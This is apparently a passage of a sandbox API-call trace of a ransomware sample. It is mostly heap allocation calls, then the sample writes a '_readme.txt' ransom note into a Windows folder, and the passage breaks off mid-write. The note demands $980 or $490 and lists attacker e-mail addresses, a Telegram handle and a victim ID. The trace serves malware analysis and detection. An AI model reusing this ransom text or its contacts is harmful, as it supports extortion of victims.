hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.228] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.228] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.229] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.230] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.230] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.232] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0059.232] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.232] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.232] PathFindFileNameW (pszPath="") returned="" [0059.232] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.233] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.233] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.233] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.233] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0059.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.233] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0059.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.233] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.233] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.233] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.234] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.234] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you 